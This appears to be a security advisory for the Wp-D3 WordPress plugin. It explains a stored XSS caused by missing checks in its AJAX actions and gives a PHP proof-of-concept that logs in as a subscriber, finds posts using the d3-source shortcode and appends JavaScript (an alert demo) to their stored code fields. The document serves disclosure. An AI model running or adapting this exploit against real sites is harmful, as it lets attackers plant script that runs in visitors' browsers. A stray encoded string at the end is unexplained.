Wp-D3 [Authenticated Persistent XSS]

Description

Many of this plugin’s AJAX actions are not properly handled. Some of them are responsible for storing and updating post meta values regarding JS code to print in a post/page. All of them lack security checks like anti-CSRF, input validation, proper escaping supplied values etc.

These actions can be manipulated by an attacker in order to inject JS code which will be executed next time a user visits this specific post/page.

For this attack to work the author of the page must previously use the plugin shortcode d3-source. This shortcode is responsible for printing the code specified by the author and if it’s not available then this attack is not possible.

If the attacker manages to find posts/pages that have this shortcode, then it is trivial to insert arbitrary JS code.

PoC

This PoC exploits the lack of security checks in order to find a post with the aforementioned shortcode and inject JS code into it.

#!/usr/bin/env php
<?php
/*******************************************************************************
 * Wp-D3 - Authenticated Persistent XSS
 *
 * Author: Panagiotis Vagenas <pan.vagenas@gmail.com>
 * To install deps run `composer install`
 ******************************************************************************/

require_once 'vendor/autoload.php';

use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\WPAuthentication;

$url = Config::get( 'url.base', null, true, 'Enter the site URL' );

if ( ! $url ) {
    Cli::writeError( 'You must enter a valid URL' );
    exit( ExitCodes::EXIT_CODE_FAILED_PRECONDITION );
}

global $session;
$session = new \Requests_Session();

Cli::writeInfo( 'Authenticating with WordPress' );
WPAuthentication::logInAsUserRole( $session, WPAuthentication::USER_ROLE_SUBSCRIBER );

/*******************************************************************************
 * First we going to find the posts which has the required shortcode. For this
 * purpose we use the AJAX action `getValidFieldNumber` which will return an
 * integer if the post has `d3-source` shortcode.
 ******************************************************************************/

$postIdStart = (int) abs( Cli::prompt( 'Enter the id to start searching', 1 ) );
$postIdEnd   = (int) abs( Cli::prompt( 'Enter the id to stop searching', 2 ) );

$postId  = $postIdStart;
$postIds = [ ];
while( $postId <= $postIdEnd ) {
    $r = $session->get( Endpoint::adminAjaxURL() . '/' . '?action=getValidFieldNumber&postId=' . $postId );

    $result = (int) $r->body;
    if ( $result ) {
        $postIds[] = $postId;
    }

    $postId ++;
}

if ( empty( $postIds ) ) {
    Cli::writeError( 'No posts were found to contain the required short for this exploit to work' );
    exit( ExitCodes::EXIT_CODE_EXPLOIT_FAILED );
}

Cli::writeInfo( 'Found ' . count( $postIds ) . ', injecting code in each one...' );
/*******************************************************************************
 * Now we are going to inject code to all posts we found
 ******************************************************************************/

foreach ( $postIds as $postId ) {
    Cli::writeInfo( 'Injecting code to post with id ' . $postId . ' ...' );
    injectCode( $postId );
}

Cli::writeSuccess( 'Exploitation complete' );
exit( ExitCodes::EXIT_CODE_EXPLOIT_SUCCEEDED );

/**
 * This function injects JS code to a post. For this purpose we can use the includes array or the
 * code property. In the first case the script is loaded from an external source, in the second it
 * is executed as inlince script.
 *
 * @param $postId
 *
 * @return bool
 *
 * @author Panagiotis Vagenas <pan.vagenas@gmail.com>
 * @since  TODO ${VERSION}
 */
function injectCode( $postId ) {
    global $session;

    Cli::writeInfo( 'Getting previous contents...' );

    $r   = $session->get( Endpoint::adminAjaxURL() . '/?action=getCustomFielContent&postId=' . $postId );
    $res = json_decode( $r->body );

    if ( ! isset( $res->contents ) ) {
        Cli::writeInfo( 'Couldn\'t get contents for post with id ' . $postId . ', skipping...' );

        return false;
    }

    if ( empty( $res->contents ) ) {
        Cli::writeInfo( 'Invalid meta value for post with id ' . $postId . ', skipping...' );

        return false;
    }

    // we are going to inject to all elements, just to be sure :p
    foreach ( $res->contents as $index => $content ) {
        $content       = json_decode( $content );
        $maliciousCode = ';alert(/' . $res->keys[ $index ] . '-' . time() . '/);';
        $content->code .= $maliciousCode;

        // now save back
        $data = [
            'action'  => 'setCustomField',
            'postId'  => $postId,
            'fieldId' => $res->keys[ $index ],
            'content' => json_encode( $content ),
        ];

        Cli::writeInfo( 'Saving modified meta value ' . $res->keys[ $index ] );
        $r = $session->post( Endpoint::adminAjaxURL(), [ ], $data );

        if ( $r->success ) {
            Cli::writeSuccess( 'Injected code to post with id ' . $postId . ', field ' . $res->keys[ $index ] );
        }
    }

    return true;
}

INFO
GKxtL3WcoJHtnKZtqTuuqPOiMvOwqKWco3AcqUxX